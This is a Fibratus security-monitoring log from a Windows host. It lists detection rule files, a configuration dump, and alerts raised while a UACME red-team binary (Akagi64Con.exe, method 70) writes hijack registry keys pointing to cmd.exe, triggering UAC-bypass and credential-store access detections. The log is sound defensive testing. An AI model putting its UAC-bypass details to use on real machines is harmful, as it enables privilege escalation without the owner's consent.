C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:58:12+01:00 level=info msg=bootstrapping with pid 14752. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:58:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true buffer-size=>512 enable-mem=>false enable-handle=>false min-buffers=>16 enable-registry=>true enable-audit-api=>true enable-fileio=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true enable-threadpool=>false enable-dns=>false max-buffers=>36 enable-image=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false bulk-workers=>1 timeout=>5s flush-period=>1s healthcheck-interval=>10s sniff=>false gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic durable=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false passive=>false url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus routing-key=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ endpoints=>[] enable-gzip=>false serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-allocs=>false excluded-procs=>[] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:58:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:58:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:58:38+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10650355 + Pid: 17396 + Tid: 8900 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:22.4176549 +0100 CET + Params: data➜ C:\WINDOWS\system32\cmd.exe, key_handle➜ ffffc38f402d6eb0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\LZX32\SHELL\OPEN\COMMAND\, status➜ Success, value_type➜ REG_SZ + Metadata: technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, rule.name: Hidden registry key creation, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 17396 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:38+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10650363 + Pid: 17396 + Tid: 8900 + Type: RegSetValue + CPU: 7 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:22.4182315 +0100 CET + Params: key_handle➜ ffffc38f4041ada0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\MS-SETTINGS\CURVER\, status➜ Success + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, rule.name: Hidden registry key creation + + Pid: 17396 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 70] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:40+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664548 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6404793 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffff978f7542d8f0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f73a5d868, share_mask➜ , status➜ Success, tid➜ 12676, type➜ File + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, rule.name: Unusual access to Web Browser Credential stores, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664553 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6406603 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f75429110, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f73a5d868, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006 + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664558 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6408322 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f75428620, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f7065c0f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Credentials from Web Browsers, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Unusual access to Web Browser Credential stores, subtechnique.id: T1555.003 + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664566 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6412722 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f75428620, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f734b0818, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.id: TA0006 + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664661 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6466422 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffff978f754aee40, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ , status➜ Success, tid➜ 12676, type➜ File + Metadata: technique.id: T1555, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, rule.name: Unusual access to Web Browser Credential stores, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664663 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6468735 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f754b1eb0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: tactic.name: Credential Access, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.id: T1555.003 + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664665 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 1 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6470783 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f754acd70, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, rule.name: Unusual access to Web Browser Credential stores + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664667 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6492812 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffff978f7542c180, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ , status➜ Success, tid➜ 12676, type➜ File + Metadata: subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.id: TA0006, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664669 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6494916 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f754328a0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.id: T1555.003, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Unusual access to Web Browser Credential stores, technique.name: Credentials from Password Stores, subtechnique.name: Credentials from Web Browsers, tactic.name: Credential Access + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:58:41+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 10664671 + Pid: 13620 + Tid: 12676 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:58:23.6496688 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff978f75432d50, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffff978f729e60f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 12676, type➜ File + Metadata: rule.name: Unusual access to Web Browser Credential stores, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006 + + Pid: 13620 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:59:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:59:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 